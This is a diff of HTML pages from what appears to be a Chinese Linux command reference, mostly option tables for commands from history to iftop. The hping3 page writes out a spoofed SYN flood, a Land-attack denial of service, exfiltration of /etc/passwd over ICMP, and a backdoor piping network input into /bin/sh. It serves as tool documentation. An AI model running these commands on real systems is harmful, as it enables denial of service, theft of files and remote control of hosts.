    -c           清空历史列表。
    --d offset    根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录。
    --a           将当前终端的历史记录行添加到历史记录文件。
    --n           将尚未从历史文件中读取的历史行追加到当前历史列表中。
    --r           读取历史文件,并将其内容附加到历史列表中。
    --w           将当前历史记录列表附加到历史记录文件中并且附加它们到历史列表中。
    --p           在每个arg上执行历史记录扩展并在标准输出上显示结果,而不将结果存储在历史记录列表中。
    --s           将每个arg作为单个条目附加到历史记录列表。
    +
    -c           清空历史列表。
    +-d offset    根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录。
    +-a           将当前终端的历史记录行添加到历史记录文件。
    +-n           将尚未从历史文件中读取的历史行追加到当前历史列表中。
    +-r           读取历史文件,并将其内容附加到历史列表中。
    +-w           将当前历史记录列表附加到历史记录文件中并且附加它们到历史列表中。
    +-p           在每个arg上执行历史记录扩展并在标准输出上显示结果,而不将结果存储在历史记录列表中。
    +-s           将每个arg作为单个条目附加到历史记录列表。
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -271,7 +271,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/host.html b/c/host.html index e233e62650..bca28cc17d 100644 --- a/c/host.html +++ b/c/host.html @@ -9,7 +9,7 @@ host 命令,Linux host 命令详解:常用的分析域名查询工具 - Linux 命令搜索引擎 - + @@ -179,7 +179,7 @@ www.jsdig.com. 463 IN CNAME host.1.jsdig.com. Received 54 bytes from 202.96.104.15#53 in 0 ms " class="copied">
    - - + + \ No newline at end of file diff --git a/c/hostid.html b/c/hostid.html index 6d352f14f7..00fd487b2e 100644 --- a/c/hostid.html +++ b/c/hostid.html @@ -9,7 +9,7 @@ hostid 命令,Linux hostid 命令详解:显示当前主机的十六进制数字标识。 - Linux 命令搜索引擎 - + @@ -125,8 +125,8 @@ customElements.define('markdown-style', MarkdownStyle);用来限制软件的使用权限,不可改变。

    选项

    -
    --help       显示帮助信息并退出。
    ---version    显示版本信息并退出。
    +
    --help       显示帮助信息并退出。
    +--version    显示版本信息并退出。
     
    @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);
  • 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 hostidinfo coreutils 'hostid invocation'
  • - - + + \ No newline at end of file diff --git a/c/hostname.html b/c/hostname.html index 3170a9fb62..41d265ca51 100644 --- a/c/hostname.html +++ b/c/hostname.html @@ -9,7 +9,7 @@ hostname 命令,Linux hostname 命令详解:显示和设置系统的主机名 - Linux 命令搜索引擎 - + @@ -147,16 +147,16 @@ dnsdomainname 显示 DNS 主机名称 hostname -V|--version|-h|--help 打印信息并退出 " class="copied">

    选项

    -
    -a, --alias               显示主机别名
    +
    -a, --alias               显示主机别名
     -A, --all-fqdns           显示所有FQDN名称
    --b, --boot                如果没有可用的主机名,则设置默认主机名
    --d, --domain              显示DNS域名
    --f, --fqdn, --long        显示FQDN名称
    --F, --file                从给定文件中读取主机名或NIS域名
    +-b, --boot                如果没有可用的主机名,则设置默认主机名
    +-d, --domain              显示DNS域名
    +-f, --fqdn, --long        显示FQDN名称
    +-F, --file                从给定文件中读取主机名或NIS域名
     -i, --ip-address          显示主机的ip地址
     -I, --all-ip-addresses    显示主机所有的ip地址
    --s, --short               显示短主机名称,在第一个点处截断
    --y, --yp, --nis           显示NIS域名
    +-s, --short               显示短主机名称,在第一个点处截断
    +-y, --yp, --nis           显示NIS域名
     
    - - + + \ No newline at end of file diff --git a/c/hostnamectl.html b/c/hostnamectl.html index 5eaa66a3e6..7f2f2d6d0c 100644 --- a/c/hostnamectl.html +++ b/c/hostnamectl.html @@ -9,7 +9,7 @@ hostnamectl 命令,Linux hostnamectl 命令详解:查询或更改系统主机名 - Linux 命令搜索引擎 - + @@ -136,12 +136,12 @@ set-deployment NAME 设置主机的部署环境 set-location NAME 设置主机位置 " class="copied">

    选项

    -
    -h --help               显示此帮助
    -    --version           显示包的版本
    +
    -h --help               显示此帮助
    +    --version           显示包的版本
         --no-ask-password   不提示输入密码
    --H --host=[USER@]HOST   在远程主机上操作
    --M --machine=CONTAINER  在本地容器上执行操作。指定要连接到的容器名称。
    ---transient, --static, --pretty  
    +-H --host=[USER@]HOST   在远程主机上操作
    +-M --machine=CONTAINER  在本地容器上执行操作。指定要连接到的容器名称。
    +--transient, --static, --pretty  
                             如果调用了status(或者没有给出显式命令)并且指定了其中一个开关,hostnamectl将只打印出这个选定的主机名。
     
    $ sudo hostnamectl set-hostname newname
    - - + + \ No newline at end of file diff --git a/c/hping3.html b/c/hping3.html index 71d4935e21..160d3d3229 100644 --- a/c/hping3.html +++ b/c/hping3.html @@ -9,7 +9,7 @@ hping3 命令,Linux hping3 命令详解:测试网络及主机的安全 - Linux 命令搜索引擎 - + @@ -119,7 +119,7 @@ customElements.define('markdown-style', MarkdownStyle);hping 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

    安装

    yum install libpcap-devel tc-devel
    -ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
    +ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
     wget http://www.hping.org/hping3-20051105.tar.gz
     tar zxvf hping3-20051105.tar.gz
     cd hping3-20051105
    @@ -136,50 +136,50 @@ make
     make install
     " class="copied">

    选项

    -
    -H --help 显示帮助。
    --v -VERSION 版本信息。
    --c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
    --i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
    --n -nmeric 数字输出,象征性输出主机地址。
    --q -quiet 退出。
    --I --interface interface name 无非就是eth0之类的参数。
    --v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
    --D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
    --z --bind 快捷键的使用。
    --Z --unbind 消除快捷键。
    --O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
    --1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
    --2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
    --9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
    --a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
    --t --ttl time to live 可以指定发出包的TTL值。
    --H --ipproto 在RAW IP模式里选择IP协议。
    --w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
    --r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
    --F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
    --x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
    --y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
    --G --fragoff fragment offset value set the fragment offset
    --m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
    --G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
    --C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
    --K --ICMPCODE CODE 指定ICMP代号,缺省0。
    +
    -H --help 显示帮助。
    +-v -VERSION 版本信息。
    +-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
    +-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
    +-n -nmeric 数字输出,象征性输出主机地址。
    +-q -quiet 退出。
    +-I --interface interface name 无非就是eth0之类的参数。
    +-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
    +-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
    +-z --bind 快捷键的使用。
    +-Z --unbind 消除快捷键。
    +-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
    +-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
    +-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
    +-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
    +-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
    +-t --ttl time to live 可以指定发出包的TTL值。
    +-H --ipproto 在RAW IP模式里选择IP协议。
    +-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
    +-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
    +-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
    +-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
    +-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
    +-G --fragoff fragment offset value set the fragment offset
    +-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
    +-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
    +-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
    +-K --ICMPCODE CODE 指定ICMP代号,缺省0。
     --icmp-ipver 把IP版本也插入IP头。
     --icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
     --icmp-iplen 设置IP包长度。
     --icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM--icmp-ipproto 设置协议的,缺省是TCP。
     -icmp-cksum 设置校验和。
    --icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
    ---icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
    --s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
    --p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
    ---keep 上面说过了。
    --w --win 发的大小和windows一样大,64BYTE。
    --O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
    --m --tcpseq 设置TCP序列数。
    --l --tcpck 设置TCP ack。
    --Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
    +-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
    +--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
    +-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
    +-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
    +--keep 上面说过了。
    +-w --win 发的大小和windows一样大,64BYTE。
    +-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
    +-m --tcpseq 设置TCP序列数。
    +-l --tcpck 设置TCP ack。
    +-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
     
    #  防火墙测试

    使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html

    测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

    -
    hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
    +
    hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
     

    # 端口扫描

    Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

    -
    hping3 -I eth0  -S 192.168.10.1 -p 80
    +
    hping3 -I eth0  -S 192.168.10.1 -p 80
     

    其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。

    @@ -245,18 +245,18 @@ make install

    该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

    # 拒绝服务攻击

    使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

    -
    hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
    +
    hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
     

    其他攻击如smurf、teardrop、land attack等也很容易构建出来。

    # 文件传输

    Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

    -
    hping3 192.168.1.159--listen signature --safe  --icmp
    +
    hping3 192.168.1.159--listen signature --safe  --icmp
     

    监听ICMP包中的签名,根据签名解析出文件内容。

    在发送端使用签名打包的ICMP包发送文件:

    -
    hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
    +
    hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
     

    /etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

    @@ -264,18 +264,18 @@ make install

    如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

    示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

    在木马启动端:

    -
    hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
    +
    hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
     

    在远程控制端:

    echo ls >test.cmd
    -hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
    +hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
     

    将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

    当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

    - - + + \ No newline at end of file diff --git a/c/htdigest.html b/c/htdigest.html index 114f457384..facc4b3401 100644 --- a/c/htdigest.html +++ b/c/htdigest.html @@ -9,7 +9,7 @@ htdigest 命令,Linux htdigest 命令详解:Apache服务器内置工具 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);域:指定用户名所属的域;
  • 用户名:要创建或者更新的用户名。
  • - - + + \ No newline at end of file diff --git a/c/htop.html b/c/htop.html index ae2b9e6563..548cc35ddb 100644 --- a/c/htop.html +++ b/c/htop.html @@ -9,7 +9,7 @@ htop 命令,Linux htop 命令详解:[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况 - Linux 命令搜索引擎 - + @@ -137,13 +137,13 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    -
    -C --no-color               使用单色配色方案
    --d --delay=DELAY            设置更新之间的延迟,在十秒
    --s --sort-key=COLUMN        纵列排序(try --sort-key=help for a list)
    --u --user=USERNAME          只显示一个指定用户的进程
    --p --pid=PID,[,PID,PID...]  只显示给用户
    --h --help                   打印此命令帮助
    --v --version                打印版本信息
    +
    -C --no-color               使用单色配色方案
    +-d --delay=DELAY            设置更新之间的延迟,在十秒
    +-s --sort-key=COLUMN        纵列排序(try --sort-key=help for a list)
    +-u --user=USERNAME          只显示一个指定用户的进程
    +-p --pid=PID,[,PID,PID...]  只显示给用户
    +-h --help                   打印此命令帮助
    +-v --version                打印版本信息
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -309,7 +309,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/htpasswd.html b/c/htpasswd.html index 9206cb5c8b..da1b14410e 100644 --- a/c/htpasswd.html +++ b/c/htpasswd.html @@ -9,7 +9,7 @@ htpasswd 命令,Linux htpasswd 命令详解:apache服务器创建密码认证文件 - Linux 命令搜索引擎 - + @@ -144,32 +144,32 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    利用htpasswd命令添加用户

    -
    htpasswd -bc .passwd www.jsdig.com php
    +
    htpasswd -bc .passwd www.jsdig.com php
     

    在bin目录下生成一个.passwd文件,用户名www.jsdig.com,密码:php,默认采用MD5加密方式。

    在原有密码文件中增加下一个用户

    -
    htpasswd -b .passwd Jack 123456
    +
    htpasswd -b .passwd Jack 123456
     

    去掉-c选项,即可在第一个用户之后添加第二个用户,依此类推。

    不更新密码文件,只显示加密后的用户名和密码

    -
    htpasswd -nb Jack 123456
    +
    htpasswd -nb Jack 123456
     

    不更新.passwd文件,只在屏幕上输出用户名和经过加密后的密码。

    利用htpasswd命令删除用户名和密码

    -
    htpasswd -D .passwd Jack
    +
    htpasswd -D .passwd Jack
     

    利用htpasswd命令修改密码

    -
    htpasswd -D .passwd Jack
    -htpasswd -b .passwd Jack 123456
    +
    htpasswd -D .passwd Jack
    +htpasswd -b .passwd Jack 123456
     

    即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。

    - - + + \ No newline at end of file diff --git a/c/hwclock.html b/c/hwclock.html index 886ec33d71..182876421a 100644 --- a/c/hwclock.html +++ b/c/hwclock.html @@ -9,7 +9,7 @@ hwclock 命令,Linux hwclock 命令详解:显示与设定硬件时钟 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);--debug:显示hwclock执行时详细的信息; --directisa:hwclock预设从/dev/rtc设备来存取硬件时钟。若无法存取时,可用此参数直接以I/O指令来存取硬件时钟; --hctosys:将系统时钟调整为与目前的硬件时钟一致; ---set --date=<日期与时间>:设定硬件时钟; +--set --date=<日期与时间>:设定硬件时钟; --show:显示硬件时钟的时间与日期; --systohc:将硬件时钟调整为与目前的系统时钟一致; --test:仅测试程序,而不会实际更改硬件时钟; @@ -147,7 +147,7 @@ customElements.define('markdown-style', MarkdownStyle);实例

    设置硬件时间要依赖于操作系统时间,具体方法如下:

    hwclock –systohc
    -hwclock --systohc –-utc
    +hwclock --systohc –-utc
     
    @@ -171,7 +171,7 @@ ZONE="America/Los_Angeles" UTC=false ARC=false " class="copied">
    - - + + \ No newline at end of file diff --git a/c/iconv.html b/c/iconv.html index 1e7e5e933a..06f1e821b3 100644 --- a/c/iconv.html +++ b/c/iconv.html @@ -9,7 +9,7 @@ iconv 命令,Linux iconv 命令详解:转换文件的编码方式 - Linux 命令搜索引擎 - + @@ -118,17 +118,17 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    iconv命令 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着。

    语法

    -
    iconv -f encoding [-t encoding] [inputfile]... 
    +
    iconv -f encoding [-t encoding] [inputfile]... 
     

    选项

    -
    -f encoding :把字符从encoding编码开始转换。 
    --t encoding :把字符转换到encoding编码。 
    --l :列出已知的编码字符集合 
    --o file :指定输出文件 
    --c :忽略输出的非法字符 
    --s :禁止警告信息,但不是错误信息 
    ---verbose :显示进度信息 
    +
    -f encoding :把字符从encoding编码开始转换。 
    +-t encoding :把字符转换到encoding编码。 
    +-l :列出已知的编码字符集合 
    +-o file :指定输出文件 
    +-c :忽略输出的非法字符 
    +-s :禁止警告信息,但不是错误信息 
    +--verbose :显示进度信息 
     -f和-t所能指定的合法字符在-l选项的命令里面都列出来了。 
     

    实例

    列出当前支持的字符编码: 

    -
    iconv -l 
    +
    iconv -l 
     

    将文件file1转码,转后文件输出到fil2中: 

    -
    iconv file1 -f EUC-JP-MS -t UTF-8 -o file2 
    +
    iconv file1 -f EUC-JP-MS -t UTF-8 -o file2 
     

    这里,没-o那么会输出到标准输出。

    - - + + \ No newline at end of file diff --git a/c/id.html b/c/id.html index 695c7408ee..52da9be920 100644 --- a/c/id.html +++ b/c/id.html @@ -9,7 +9,7 @@ id 命令,Linux id 命令详解:打印真实以及有效的用户和所在组的信息 - Linux 命令搜索引擎 - + @@ -124,14 +124,14 @@ customElements.define('markdown-style', MarkdownStyle);没有选项时,打印指定用户ID信息。

    选项

    -
    -a               兼容性选项,没有实际作用。
    --Z, --context    只打印进程的安全上下文。
    --g, --group      只打印有效的组ID。
    --G, --groups     打印全部组ID。
    --u, --user       只打印有效的用户ID。
    --z, --zero       使用空字符代替默认的空格来分隔条目。
    ---help           显示帮助信息并退出。
    ---version        显示版本信息并退出。
    +
    -a               兼容性选项,没有实际作用。
    +-Z, --context    只打印进程的安全上下文。
    +-g, --group      只打印有效的组ID。
    +-G, --groups     打印全部组ID。
    +-u, --user       只打印有效的用户ID。
    +-z, --zero       使用空字符代替默认的空格来分隔条目。
    +--help           显示帮助信息并退出。
    +--version        显示版本信息并退出。
     

    只有在使用 -u -g -G 选项中一到多个时,以下选项可以使用:

    -
    -n, --name    打印名称而不是数字。
    --r, --real    打印真实ID而不是有效ID。
    +
    -n, --name    打印名称而不是数字。
    +-r, --real    打印真实ID而不是有效ID。
     
    @@ -201,7 +201,7 @@ uid=500(www) gid=500(www) groups=500(www)

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 idinfo coreutils 'id invocation'

    - - + + \ No newline at end of file diff --git a/c/ifcfg.html b/c/ifcfg.html index cc0f720f7c..71aa9f406d 100644 --- a/c/ifcfg.html +++ b/c/ifcfg.html @@ -9,7 +9,7 @@ ifcfg 命令,Linux ifcfg 命令详解:置Linux中的网络接口参数 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ add/del:添加或删除网络接口上的地址; ip地址:指定IP地址和子网掩码; Stop:停用指定的网络接口的IP地址。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/ifconfig.html b/c/ifconfig.html index 35be974475..701520a96a 100644 --- a/c/ifconfig.html +++ b/c/ifconfig.html @@ -9,7 +9,7 @@ ifconfig 命令,Linux ifconfig 命令详解:配置和显示Linux系统网卡的网络参数 - Linux 命令搜索引擎 - + @@ -232,7 +232,7 @@ ifconfig eth0 del 33ffe:3240:800:1005::2/64 #为网卡eth0删除IPv6地址 " class="copied">

    启用和关闭arp协议:

    ifconfig eth0 arp    #开启网卡eth0 的arp协议
    -ifconfig eth0 -arp   #关闭网卡eth0 的arp协议
    +ifconfig eth0 -arp   #关闭网卡eth0 的arp协议
     
    @@ -242,13 +242,13 @@ ifconfig eth0 -arp #关闭网卡eth0 的arp协议 " class="copied">

    其它实例

    ifconfig   #处于激活状态的网络接口
    -ifconfig -a  #所有配置的网络接口,不论其是否激活
    +ifconfig -a  #所有配置的网络接口,不论其是否激活
     ifconfig eth0  #显示eth0的网卡信息
     
    - - + + \ No newline at end of file diff --git a/c/ifdown.html b/c/ifdown.html index ff20a822ee..79d771f29d 100644 --- a/c/ifdown.html +++ b/c/ifdown.html @@ -9,7 +9,7 @@ ifdown 命令,Linux ifdown 命令详解:禁用指定的网络接口 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);ifdown eth0 #禁用eth0
    - - + + \ No newline at end of file diff --git a/c/ifstat.html b/c/ifstat.html index 1f2fc6a686..6c99a651c6 100644 --- a/c/ifstat.html +++ b/c/ifstat.html @@ -9,7 +9,7 @@ ifstat 命令,Linux ifstat 命令详解:统计网络接口流量状态 - Linux 命令搜索引擎 - + @@ -124,7 +124,7 @@ customElements.define('markdown-style', MarkdownStyle);

    编译安装

    -
    tar -zxvf ifstat-1.1.tar.gz
    +
    tar -zxvf ifstat-1.1.tar.gz
     cd ifstat-1.1
     ./configure            
     make
    @@ -137,22 +137,22 @@ make install # 默认会安装到/usr/local/bin/目录中
     " class="copied">

    注释:执行which ifstat输出/usr/local/bin/ifstat

    选项

    -
    -l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。
    --a 监测能检测到的所有网络接口的状态信息。使用发现,比加上-l参数还多一个plip0的接口信息,搜索一下发现这是并口(网络设备中有一 个叫PLIP (Parallel Line Internet Protocol). 它提供了并口...)
    --z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的
    --i 指定要监测的接口,后面跟网络接口名
    --s 等于加-d snmp:[comm@][#]host[/nn]] 参数,通过SNMP查询一个远程主机
    --h 显示简短的帮助信息
    --n 关闭显示周期性出现的头部信息(也就是说,不加-n参数运行ifstat时最顶部会出现网络接口的名称,当一屏显示不下时,会再一次出现接口的名称,提示我们显示的流量信息具体是哪个网络接口的。加上-n参数把周期性的显示接口名称关闭,只显示一次)
    --t 在每一行的开头加一个时间 戳(能告诉我们具体的时间)
    --T 报告所有监测接口的全部带宽(最后一列有个total,显示所有的接口的in流量和所有接口的out流量,简单的把所有接口的in流量相加,out流量相 加)
    --w  用指定的列宽,而不是为了适应接口名称的长度而去自动放大列宽
    --W 如果内容比终端窗口的宽度还要宽就自动换行
    --S 在同一行保持状态更新(不滚动不换行)注:如果不喜欢屏幕滚动则此项非常方便,与bmon的显示方式类似
    --b 用kbits/s显示带宽而不是kbytes/s
    --q 安静模式,警告信息不出现
    --v 显示版本信息
    --d 指定一个驱动来收集状态信息
    +
    -l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。
    +-a 监测能检测到的所有网络接口的状态信息。使用发现,比加上-l参数还多一个plip0的接口信息,搜索一下发现这是并口(网络设备中有一 个叫PLIP (Parallel Line Internet Protocol). 它提供了并口...)
    +-z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的
    +-i 指定要监测的接口,后面跟网络接口名
    +-s 等于加-d snmp:[comm@][#]host[/nn]] 参数,通过SNMP查询一个远程主机
    +-h 显示简短的帮助信息
    +-n 关闭显示周期性出现的头部信息(也就是说,不加-n参数运行ifstat时最顶部会出现网络接口的名称,当一屏显示不下时,会再一次出现接口的名称,提示我们显示的流量信息具体是哪个网络接口的。加上-n参数把周期性的显示接口名称关闭,只显示一次)
    +-t 在每一行的开头加一个时间 戳(能告诉我们具体的时间)
    +-T 报告所有监测接口的全部带宽(最后一列有个total,显示所有的接口的in流量和所有接口的out流量,简单的把所有接口的in流量相加,out流量相 加)
    +-w  用指定的列宽,而不是为了适应接口名称的长度而去自动放大列宽
    +-W 如果内容比终端窗口的宽度还要宽就自动换行
    +-S 在同一行保持状态更新(不滚动不换行)注:如果不喜欢屏幕滚动则此项非常方便,与bmon的显示方式类似
    +-b 用kbits/s显示带宽而不是kbytes/s
    +-q 安静模式,警告信息不出现
    +-v 显示版本信息
    +-d 指定一个驱动来收集状态信息
     
    - - + + \ No newline at end of file diff --git a/c/iftop.html b/c/iftop.html index a6b7153b6c..7755e9eeb8 100644 --- a/c/iftop.html +++ b/c/iftop.html @@ -9,7 +9,7 @@ iftop 命令,Linux iftop 命令详解:一款实时流量监控工具 - Linux 命令搜索引擎 - + @@ -124,37 +124,37 @@ customElements.define('markdown-style', MarkdownStyle);选项
    iftop: display bandwidth usage on an interface by host
     
    -Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code]
    +Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code]
         [-F net/mask] [-G net6/mask6]
     
    -   -h                  display this message
    -   -n                  don't do hostname lookups
    +   -h                  display this message
    +   -n                  don't do hostname lookups
        -N                  don't convert port numbers to services
    -   -p                  run in promiscuous mode (show traffic between other
    +   -p                  run in promiscuous mode (show traffic between other
